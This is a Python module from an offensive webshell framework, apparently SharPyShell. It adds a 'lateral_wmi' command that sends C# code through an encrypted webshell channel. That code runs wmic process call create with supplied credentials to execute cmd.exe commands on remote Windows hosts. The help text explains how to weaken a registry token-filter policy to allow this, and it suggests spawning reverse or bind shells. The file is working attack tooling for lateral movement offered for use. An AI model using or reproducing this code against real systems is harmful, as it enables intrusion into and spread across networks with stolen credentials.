Files
2021-09-30 22:57:05 +02:00

133 lines
6.6 KiB
Python

from core.Module import Module, ModuleException
from utils.random_string import random_generator
import traceback
class LateralWmiModuleException(ModuleException):
pass
class Lateral_wmi(Module):
_exception_class = LateralWmiModuleException
short_help = "Run builtin WMI command to move laterally"
complete_help = r"""
This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
This will result in a lateral movement if shared credentials are known.
Note that if you use local admin credentials you should ensure that, on the target server, the feature
"LocalAccountTokenFilterPolicy" is disabled. (except for builtin Administrator)
To disable that you need to add the following regkey with the value of 1:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
example command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain.
This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
server.
Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
reverse/bind shell.
Usage:
#lateral_wmi target_ip username password command [local_user] [local_password] [local_domain]
Positional arguments:
target_ip the ip of the remote server
username username of the user to use to login on the target server
you can specify domain\username if user is in a domain
password password of the user to use to login on the target server
command a command compatible by cmd.exe
Examples:
Lateral movement as privileged current application pool user, output to local shared resource:
#lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt'
"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string LateralWMI(string arg, string working_path)
{
ProcessStartInfo pinfo = new ProcessStartInfo();
pinfo.FileName = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
pinfo.Arguments = arg;
pinfo.RedirectStandardOutput = true;
pinfo.RedirectStandardError = true;
pinfo.UseShellExecute = false;
pinfo.WorkingDirectory = working_path;
Process p = new Process();
try{
p = Process.Start(pinfo);
}
catch (Exception e){
return "{{{SharPyShellError}}}\n" + e;
}
StreamReader stmrdr_output = p.StandardOutput;
StreamReader stmrdr_errors = p.StandardError;
string output = "";
string stand_out = stmrdr_output.ReadToEnd();
string stand_errors = stmrdr_errors.ReadToEnd();
stmrdr_output.Close();
stmrdr_errors.Close();
if (!String.IsNullOrEmpty(stand_out))
output = output + stand_out;
if (!String.IsNullOrEmpty(stand_errors))
output = output + stand_errors;
return output;
}
public byte[] ExecRuntime()
{
string output_func=LateralWMI(@"%s", @"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
__wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
def __run_as_current_user(self, wmi_code_arguments):
request = self._create_request(wmi_code_arguments)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
return decrypted_response
def __parse_run_args(self, args):
if len(args) < 4:
raise self._exception_class('#lateral_wmi: Not enough arguments. 4 Arguments required.\n')
args_parser = {k: v for k, v in enumerate(args)}
target_ip = args_parser.get(0)
username = args_parser.get(1)
password = args_parser.get(2)
command = args_parser.get(3)
return target_ip, username, password, command
def _create_request(self, args):
arguments = args
working_path = self._module_settings['working_directory']
wmi_code_arguments = arguments
request = self._runtime_code % (wmi_code_arguments, working_path)
return request
def run(self, args):
try:
target_ip, username, password, command = self.__parse_run_args(args)
wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
response = self.__run_as_current_user(wmi_code_arguments)
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
str(traceback.format_exc())
return parsed_response